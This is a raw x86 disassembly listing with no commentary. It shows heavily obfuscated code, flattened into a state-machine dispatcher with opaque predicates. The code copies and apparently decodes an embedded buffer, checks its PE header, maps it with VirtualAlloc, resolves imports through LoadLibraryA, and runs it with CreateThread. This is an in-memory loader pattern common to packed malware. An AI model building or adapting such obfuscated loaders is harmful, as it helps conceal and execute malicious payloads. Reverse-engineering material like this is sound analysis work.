mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0x1c1b9ca7
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x9dfca0c6
jmp 0x404fc6
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov eax, 0xe86d819f
jmp 0x4014e0
mov eax, 0x797d5e9c
jmp 0x4014e0
mov eax, dword [ebp - 0x1c]
mov edi, 0x6cdf783a
mov ebx, 0x460efa45
mov dword [eax], 0xd
mov eax, dword [ebp - 0x44]
mov eax, dword [0x4ac3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x460efa45
jmp 0x404d2c
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0x2440edca
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x6234e499
jmp 0x4045cf
mov eax, 0xa2208d06
jmp 0x4014e0
mov eax, 0xbdb5494e
jmp 0x4014e0
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe4]
mov eax, 0xb5482aae
jmp 0x4014e0
cmp dword [ebp - 0x1ac], 0
mov eax, 0x86f7a1b1
mov ecx, 0x7b569b7
cmove eax, ecx
jmp 0x4014e0
mov eax, 0x19c9320f
jmp 0x4014e0
mov eax, dword [ebp - 0xe0]
mov ebx, 0xeabd57d6
mov edi, 0xf733119c
cmp eax, dword [ebp - 0xe4]
mov eax, dword [0x4ac3e8]
lea ecx, [eax + 1]
setb byte [ebp - 0x69]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xf733119c
jmp 0x404734
mov eax, 0xf9bfbadc
jmp 0x4014e0
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax + 4]
mov dword [ebp - 0xe4], eax
mov eax, 0x8a06e81a
jmp 0x4014e0
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x104]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx]
mov edi, dword [ebp - 0x28]
lea ecx, [ecx + ecx*4]
mov edi, dword [edi]
mov ebx, dword [ebp - 0x34]
mov ebx, dword [ebx]
lea ebx, [ebx + ebx*4]
add edx, dword [edi + ebx*8 + 0xc]
push dword [ebp - 0xc0]
push dword [ebp - 0xfc]
push dword [eax + ecx*8 + 8]
push edx
vzeroupper
call fcn.004012d0
add esp, 0x10
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [0x4ac3e8]
mov ebx, 0xde8506d
mov edi, 0xd16e9bee
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd16e9bee
jmp 0x4014c3
mov eax, dword [0x4ac3e8]
mov edi, 0xb5b35590
mov ebx, 0xbe46e715
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xbe46e715
jmp 0x404d2c
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0x91b7e579
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x64f37cc2
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x14]
cmovge eax, edi
mov ecx, dword [ecx]
add ecx, 0x18
mov dword [ebp - 0xd4], ecx
jmp 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0x1adf7441
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x36db1dcd
jmp 0x404fc6
mov eax, dword [ebp - 0x94]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x98]
mov edi, 0x7e72c368
mov dword [eax], 0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x48259b7b
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x80]
jmp 0x405053
mov eax, 0xa06ac5c5
jmp 0x4014e0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0xdc], eax
mov eax, 0x96382956
jmp 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0xed7d9543
mov edi, 0xf34d9506
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xf34d9506
jmp 0x4014c3
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x140], eax
mov eax, 0xa1153f7f
jmp 0x4014e0
mov eax, dword [ebp - 0x24]
mov edi, 0x1caae8d5
mov dword [eax], 0x40
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf34d9506
jmp 0x405045
mov eax, dword [ebp - 0x98]
mov edi, 0x509283b2
mov ebx, 0x5a0d45d4
mov dword [eax], 1
mov eax, dword [0x4ac3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x5a0d45d4
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
jmp 0x404bc7
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0xec], eax
mov eax, 0x3bab4e23
jmp 0x4014e0
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x108]
vmovsd xmm0, qword [ecx]
mov ecx, 0xeef7402d
vmovsd qword [eax], xmm0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x50]
cmp dword [eax + 4], 0
mov eax, 0xe69d3438
cmove eax, ecx
jmp 0x4014e0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, 0xf8d0faab
jmp 0x4014e0
mov eax, dword [ebp - 0xf8]
mov eax, 0x27d7dc82
jmp 0x4014e0
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0x509541a7
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa7c8f8fb
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
mov edi, dword [ebp - 0xd0]
cmp ecx, 0xa
cmovge eax, edx
mov dword [ebp - 0x114], edi
jmp 0x4014e0
mov eax, 0x4f8c3add
jmp 0x4014e0
mov eax, 0xbe3dbdf
jmp 0x4014e0
mov eax, 0x1033527d
jmp 0x4014e0
mov eax, dword [ebp - 0x48]
mov eax, 0x9dfca0c6
jmp 0x4014e0
mov eax, 0x64d89e94
jmp 0x4014e0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, 0x7209fbf4
jmp 0x4014e0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
mov eax, 0x967a8c9b
jmp 0x4014e0
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c]
push 0x48600
push 0x457228
push dword [ebp - 0x4c]
vzeroupper
call fcn.0043b760
add esp, 0xc
push 0x48600
push dword [ebp - 0x4c]
call fcn.00401170
add esp, 8
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x58]
mov eax, 0xb452ffd9
jmp 0x4014e0
mov eax, 0xccc36979
jmp 0x4014e0
mov eax, dword [ebp - 0x20]
mov eax, 0x3e5de9bb
jmp 0x4014e0
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0xc09b863
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x8d0166b2
jmp 0x404f3a
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0xf231cadf
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xc6bf50d9
jmp 0x405045
mov eax, 0xdaf50100
jmp 0x4014e0
mov eax, 0x2c8c2efa
jmp 0x4014e0
mov eax, 0x4166b1f7
jmp 0x4014e0
push 4
push 0x3000
push dword [ebp - 0x10c]
push esi
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov ecx, 0xe8a4f745
mov eax, dword [ebp - 0x50]
cmp dword [eax + 4], 0
mov eax, 0xa2208d06
cmove eax, ecx
jmp 0x4014e0
mov eax, 0xe3b72a53
jmp 0x4014e0
mov eax, dword [ebp - 0xbc]
mov eax, 0x78c65cc6
jmp 0x4014e0
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov dword [ebp - 0x184], eax
mov eax, 0x5ed32bac
jmp 0x4014e0
mov eax, dword [ebp - 0x94]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x98]
mov dword [eax], 0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x80]
mov eax, 0x1056d61b
jmp 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0x6cc9554d
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x7d0f172a
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0xc0]
jmp 0x404fd3
cmp byte [ebp - 0x6e], 0
mov eax, 0x975b7701
mov ecx, 0x6521a46f
cmovne eax, ecx
jmp 0x4014e0
mov eax, dword [ebp - 0x48]
mov edi, 0xa9438132
mov ebx, 0x1c1b9ca7
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, dword [0x4ac3e8]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x1c1b9ca7
jmp 0x404d2c
mov eax, 0x747be783
jmp 0x4014e0
mov eax, 0x302d1017
jmp 0x4014e0
cmp byte [ebp - 0x6b], 0
mov eax, 0x2f5cfeb9
mov ecx, 0x304640b4
cmovne eax, ecx
jmp 0x4014e0
mov eax, 0x54e0130
jmp 0x4014e0
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x168], eax
mov eax, 0xc4406928
jmp 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0xc6bf50d9
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x95adfc57
jmp 0x404fc6
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, 0x98a83e4e
jmp 0x4014e0
cmp byte [ebp - 0x68], 0
mov eax, 0x8dbeeea5
mov ecx, 0x14eaa5cb
cmovne eax, ecx
jmp 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0xa50a92eb
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x53b00a94
jmp 0x404fc6
mov eax, dword [ebp - 0x24]
mov dword [eax], 2
mov eax, 0x92a7c3c9
jmp 0x4014e0
mov eax, 0x7be37f81
jmp 0x4014e0
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0xf733119c
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xb5482aae
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
jmp 0x4014e0
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0xc1fe125f
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x8f2ebac
jmp 0x404f3a
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x118], eax
mov eax, 0x5ca6e0d2
jmp 0x4014e0
mov eax, 0x6010daf5
jmp 0x4014e0
mov eax, dword [ebp - 0xac]
mov eax, 0x53b00a94
jmp 0x4014e0
mov eax, 0xe089c0d9
jmp 0x4014e0
mov eax, 0x5e1442bf
jmp 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0xc9049830
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xc983cc8c
jmp 0x404fc6
mov eax, 0xe5988a8e
jmp 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0xe9d42191
mov edi, 0x2a478170
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x2a478170
jmp 0x4014c3
mov eax, 0x85162c24
jmp 0x4014e0
mov eax, dword [ebp - 0x150]
cmp eax, dword [ebp - 0x154]
mov eax, 0x825f2f1b
setl byte [ebp - 0x6a]
jmp 0x4014e0
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
add eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0xa4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, 0x5458168d
jmp 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0x2c8c2efa
mov edi, 0xc147b8f1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc147b8f1
sete cl
cmove eax, ebx
cmp dword [0x4ac3e4], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x4014e0
mov eax, 0x7b569b7
jmp 0x4014e0
mov eax, dword [ebp - 0x14]
mov ecx, 0xc80ec6de
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x8c]
setne byte [eax]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp byte [eax], 0
mov eax, 0x148cfa6d
cmove eax, ecx
jmp 0x4014e0
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, 0xb161ec07
jmp 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0x49261caa
mov edi, 0xcb23ed77
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xcb23ed77
jmp 0x4014c3
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0x12673bb1
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf681448a
jmp 0x405045
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0xeec03ea2
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x5a0d45d4
jmp 0x404f3a
mov eax, 0x19c9320f
jmp 0x4014e0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x1a0], eax
mov eax, 0xa4982cfd
jmp 0x4014e0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xc
mov eax, 0xc07a522c
jmp 0x4014e0
movzx ecx, byte [ebp - 0x65]
movzx eax, byte [ebp - 0x66]
mov edi, 0xe089c0d9
mov ebx, 0x6e7a09c3
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x6e7a09c3
cmovne eax, edi
test cl, cl
cmove eax, ebx
test dl, dl
cmovne eax, edi
jmp 0x4014e0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x138], eax
mov eax, 0x107e256d
jmp 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0xe96d6c
mov edi, 0x9e9992e8
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x9e9992e8
jmp 0x4014c3
mov eax, dword [0x4ac3e8]
mov edi, 0xa99c987b
mov ebx, 0x8b124fc3
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x8b124fc3
jmp 0x404d2c
movzx eax, word [ebp - 0xc8]
mov ecx, eax
xor ecx, 0xcfff
test cx, ax
mov eax, 0x10c91cee
setne byte [ebp - 0x6b]
jmp 0x4014e0
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x9c], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xb4], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x38]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c]
push 0x48600
push 0x457228
push dword [ebp - 0x4c]
vzeroupper
call fcn.0043b760
add esp, 0xc
push 0x48600
push dword [ebp - 0x4c]
call fcn.00401170
add esp, 8
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x38]
mov edi, 0xc4ed4f51
mov ebx, 0x665f9d64
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, dword [0x4ac3e8]
lea ecx, [eax + 1]
setne byte [ebp - 0x67]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x665f9d64
jmp 0x404bc7
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x17c], eax
mov eax, 0x980fca51
jmp 0x4014e0
mov eax, 0xd85a2e3b
jmp 0x4014e0
mov eax, 0xccd9d5b9
jmp 0x4014e0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 2
mov eax, 0x4c399ca3
jmp 0x4014e0
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0xa8]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov dword [eax], 0
mov eax, 0xbdb5494e
jmp 0x4014e0
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [eax]
mov eax, 0x94233428
mov ecx, 0xa2208d06
cmove eax, ecx
jmp 0x4014e0
mov eax, dword [ebp - 0xcc]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
mov eax, 0x40fd772d
jmp 0x4014e0
mov eax, dword [ebp - 0x2c]
mov edi, 0xaba1b48
mov ebx, 0xea8f8d17
mov eax, dword [eax]
lea eax, [eax + eax*4]
shl eax, 3
add eax, dword [ebp - 0xd8]
mov dword [ebp - 0x130], eax
mov eax, dword [0x4ac3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xea8f8d17
sete cl
cmove eax, edi
cmp dword [0x4ac3e4], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x4014e0
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov eax, 0xb149108f
jmp 0x4014e0
mov eax, 0xf30be14b
jmp 0x4014e0
mov eax, dword [ebp - 0x20]
mov edi, 0x8e6352bd
mov ebx, 0x525459c4
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0x7fffffff
and ecx, eax
mov eax, dword [0x4ac3e8]
mov dword [ebp - 0xf8], ecx
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x525459c4
jmp 0x404d2c
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0xbc]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov ecx, 0xc4ca3934
mov eax, dword [ebp - 0x78]
cmp dword [eax], 0
mov eax, 0x80420cf0
cmove eax, ecx
jmp 0x4014e0
mov eax, 0x4410c003
jmp 0x4014e0
mov eax, dword [ebp - 0x1bc]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x1b8]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
mov ecx, 0xcbd62dd0
mov eax, dword [ebp - 0x8c]
cmp byte [eax], 0
mov eax, 0x595fa0fb
cmove eax, ecx
jmp 0x4014e0
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x9c]
mov eax, 0x85162c24
jmp 0x4014e0
mov eax, dword [ebp - 0x1c]
mov edi, 0xcbc99748
mov ebx, 0x7dad002d
mov eax, dword [eax]
mov dword [ebp - 0x190], eax
mov eax, dword [0x4ac3e8]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x7dad002d
sete al
cmove ecx, edi
cmp dword [0x4ac3e4], 0xa
setl dl
cmovge ecx, ebx
xor dl, al
cmovne ecx, edi
mov eax, ecx
jmp 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0x2a8ef148
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x31f4d5df
jmp 0x405045
mov eax, dword [ebp - 0xb8]
mov eax, 0xfaa09c54
jmp 0x4014e0
mov eax, dword [ebp - 0x3c]
mov eax, 0xd512fc6a
jmp 0x4014e0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x128], eax
mov eax, 0x554461fa
jmp 0x4014e0
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0x60176552
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x9e01203f
jmp 0x404f3a
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x174], eax
mov eax, 0x64679a7f
jmp 0x4014e0
mov eax, dword [ebp - 0x14]
mov eax, 0x6234e499
jmp 0x4014e0
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xe96d6c
jmp 0x4014e0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x44]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
